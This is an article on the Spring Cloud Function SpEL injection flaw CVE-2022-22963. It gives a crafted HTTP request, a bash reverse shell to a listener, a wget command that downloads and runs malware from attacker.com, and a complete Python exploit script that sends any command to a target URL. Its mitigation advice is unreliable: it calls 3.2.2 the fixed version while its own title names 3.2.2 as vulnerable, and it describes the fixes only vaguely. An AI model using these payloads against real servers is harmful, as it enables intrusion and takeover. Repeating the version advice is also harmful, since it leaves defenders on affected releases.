Spring Cloud 3.2.2 - Remote Command Execution (RCE)

Spring Cloud 3.2.2 - Remote Command Execution (RCE) via CVE-2022-22963: A Deep Dive into a Critical Security Vulnerability

Spring Cloud Function, a powerful framework for building serverless-style applications in the Java ecosystem, has long been praised for its simplicity and integration with cloud-native architectures. However, in 2022, a critical vulnerability—CVE-2022-22963—exposed a dangerous flaw in versions prior to 3.2.2, allowing attackers to execute arbitrary commands remotely on vulnerable servers.

Understanding the Vulnerability: CVE-2022-22963

The vulnerability stems from the spring.cloud.function.routing-expression header, which allows users to define dynamic routing logic for function execution. When improperly validated, this header can be exploited to inject malicious Java code via expression evaluation in the Spring Framework’s SpEL (Spring Expression Language).

Attackers can craft a malicious header value that leverages the T(java.lang.Runtime) class to invoke getRuntime().exec(), effectively executing system commands on the server. This bypasses traditional input validation and authentication mechanisms, making it a classic Remote Command Execution (RCE) exploit.

Exploit Mechanics: How the Attack Works

Consider the following malicious HTTP request:

POST /functionRouter HTTP/1.1
Host: 172.17.0.2:8080
Content-Type: application/json
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c1 172.17.0.1")
Content-Length: 12

{"data": ""}

This request sends a crafted header that triggers the SpEL engine to evaluate the expression. The T(java.lang.Runtime) class reference resolves to the Runtime class, and getRuntime().exec() is executed with the provided command—ping -c1 172.17.0.1.

While the response may not include command output (due to silent execution), the presence of a ping response from the attacker’s IP confirms successful exploitation. This behavior is typical in RCE exploits where output is not reflected in the HTTP response.

Real-World Impact and Exploitation Examples

Security researchers and red team operators have demonstrated that this vulnerability can be used to:

• Establish reverse shells via bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
• Upload malicious payloads to the server filesystem
• Exfiltrate sensitive data through command execution
• Escalate privileges on the host (if the application runs with elevated permissions)

For instance, a malicious payload like:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh")

can lead to persistent access and full system compromise.

Code Analysis: Vulnerable Exploit Script

Below is the original exploit script used in demonstrations:

import requests, argparse, json

parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)
args = parser.parse_args()

print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")

headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
data = {"data": ""}

request = requests.post(args.url, data=data, headers=headers)
response = json.dumps(json.loads(request.text), indent=2)
print(response)

Explanation: This script automates the RCE attack by parsing user inputs for URL and command. It constructs a malicious header using SpEL syntax to invoke Runtime.exec(). The response is parsed and printed, though the actual command execution may not be visible in the output.

Security Improvements and Mitigation Strategies

Spring Cloud 3.2.2 introduced critical fixes to address CVE-2022-22963. Key improvements include:

• Strict validation of SpEL expressions in routing headers
• Disabling execution of Runtime.exec() via SpEL
• Enforcing sandboxed evaluation environments
• Introducing security policies for expression evaluation

Best Practices for Developers:

• Always upgrade to Spring Cloud 3.2.2 or later
• Disable or restrict use of spring.cloud.function.routing-expression in production environments
• Implement strict input validation and logging for all user-defined expressions
• Use application-level firewalls to block suspicious headers
• Monitor network traffic for unexpected outbound connections (e.g., ping, curl, wget)

Technical Table: Exploit vs. Mitigation

Attack Vector	Exploit Technique	Defense Measure
HTTP Header Injection	SpEL expression: T(java.lang.Runtime).getRuntime().exec("cmd")	Disable SpEL execution for runtime methods
Function Routing	Malicious routing-expression header	Use trusted, predefined routing logic
Command Execution	Remote shell via bash -i >& /dev/tcp/...	Restrict system command execution via security policies

Conclusion: A Cautionary Tale for Cloud-Native Development

CVE-2022-22963 serves as a stark reminder that even well-designed frameworks can harbor dangerous vulnerabilities when dynamic expression evaluation is not properly secured. Spring Cloud Function’s reliance on SpEL for routing logic introduced a powerful feature—but also a dangerous attack surface.

For organizations using Spring Cloud, the lesson is clear: never trust user input in expression evaluation contexts. Always validate, sandbox, and restrict execution capabilities. The fix in Spring Cloud 3.2.2 is a step forward, but vigilance remains essential.

As cyber threats evolve, developers must adopt a security-by-design mindset—where every feature is evaluated not just for utility, but for potential risk.